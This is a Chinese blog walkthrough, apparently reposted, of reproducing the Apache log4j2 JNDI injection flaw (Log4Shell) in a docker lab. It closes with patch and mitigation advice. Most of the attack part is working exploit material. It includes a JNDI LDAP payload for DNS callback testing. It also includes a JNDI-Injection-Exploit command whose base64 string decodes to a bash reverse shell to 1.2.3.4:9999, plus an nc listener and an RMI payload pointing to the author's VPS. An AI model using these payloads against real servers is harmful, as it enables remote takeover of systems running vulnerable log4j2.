Apache log4j2 遠程代碼執行漏洞復現-后續利用👻


Apache log4j2 遠程代碼執行漏洞復現👻

最近爆出的一個Apache log4j2的遠程代碼執行漏洞聽說危害程度極大哈,復現一下看看。

漏洞原理:

Apache Log4j2 中存在JNDI注入漏洞,當程序將用戶輸入的數據進行日志記錄時,即可觸發此漏洞,成功利用此漏洞可以在目標服務器上執行任意代碼。

通俗簡單的說就是:在打印日志的時候,如果你的日志內容中包含關鍵詞 ${,攻擊者就能將關鍵字所包含的內容當作變量來替換成任何攻擊命令,並且執行

Apache Log4j2 是一款開源的 Java 日志記錄工具,大量的業務框架都使用了該組件。此次漏洞是用於 Log4j2 提供的 lookup 功能造成的,該功能允許開發者通過一些協議去讀取相應環境中的配置。但在實現的過程中,並未對輸入進行嚴格的判斷,從而造成漏洞的發生。

漏洞詳情:

Apache Log4j 遠程代碼執行漏洞 嚴重程度: 嚴重由於Apache Log4j2某些功能存在遞歸解析功能,攻擊者可直接構造惡意請求,觸發遠程代碼執行漏洞。漏洞利用無需特殊配置漏洞情況分析:Apache Log4j是一個基於Java的日志記錄組件。Apache Log4j2是Log4j的升級版本,通過重寫Log4j引入了豐富的功能特性。該日志組件被廣泛應用於業務系統開發,用以記錄程序輸入輸出日志信息。2021年11月24日,阿里雲安全團隊向Apache官方報告了Apache Log4j2遠程代碼執行漏洞。由於Log4j2組件在處理程序日志記錄時存在JNDI注入缺陷,未經授權的攻擊者利用該漏洞,可向目標服務器發送精心構造的惡意數據,觸發Log4j2組件解析缺陷,實現目標服務器的任意代碼執行,獲得目標服務器權限。

環境搭建

環境地址:http://vulfocus.fofa.so/#/dashboard
找到了一個docker環境,vulfocus上面可以直接拉取Apache log4j2的環境復現

  1. 安裝docker
  2. 安裝vulfocus
  3. 直接拉去log4j2環境鏡像啟動就行

image

前兩步安裝docker以及安裝vulfocus可以參考如下鏈接:
https://blog.csdn.net/m0_50406447/article/details/119169686

漏洞復現(DNSLOG)

啟動環境之后打開IP得到如下頁面:

image

訪問如下URL地址:http://vulfocus.fofa.so:43133/hello
然后通過POST傳入如下payload驗證dns訪問:
payload:payload=${jndi:ldap://wdhcrj.dnslog.cn/exp}

image

我們發現成功回顯結果,說明執行成功。

漏洞復現(反彈shell)

我這次實驗是公網上面搭建的靶場,所以反彈shell用的自己的公網vps,請自行配備一個公網的vps即可(或者自己本地搭建靶場,在本地反彈shell也可!):下面實驗開始

  1. 搭建靶場,步驟按上面搭建好的。
  2. 下載一個jar包用來搭建ldap服務器和http服務器
    下載地址:鏈接:https://pan.baidu.com/s/1XGXspiK9KuOU3kk_GRXb4w 提取碼:zrvu

下載之后運行這個jar包,執行以下命令開啟

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c 
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjIuMy40Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "1.2.3.4"

說明:上面的base64就是一個反彈shell的代碼,換成自己的ip和監聽端口,重新生成base64放進即可,還有后面-A的也換成自己的監聽ip

我的監聽ip是101.42.xx.xx:9999,按自己情況修改

image

執行命令之后,啟動了服務,終端會顯示5個payload,按自己的java版本選擇對應的payload去執行即可,這里我選的第5個payload:rmi://101.42.xx.xx:1099/vgylii

然后我們在開啟一個終端,監聽剛剛設置的端口9999

nc -lvnp 9999

然后去靶場執行上面生成的payload,等會反彈shell連接。

image

執行成功會出現ok,然后看看我們剛剛監聽的端口已經連接上了反彈shell

image

至於執行其他什么命令自己base64編碼執行即可!👻好了,這個實驗就結束啦。

漏洞修復方案:

Apache官方已發布補丁,騰訊安全專家建議受影響的用戶盡快升級到安全版本。

補丁下載地址:

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1

漏洞緩解措施:

(1)jvm參數 -Dlog4j2.formatMsgNoLookups=true

(2)log4j2.formatMsgNoLookups=True

下面貼上細節分析的鏈接:
https://bbs.ichunqiu.com/thread-62322-1-1.html
https://www.oschina.net/news/172999



免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM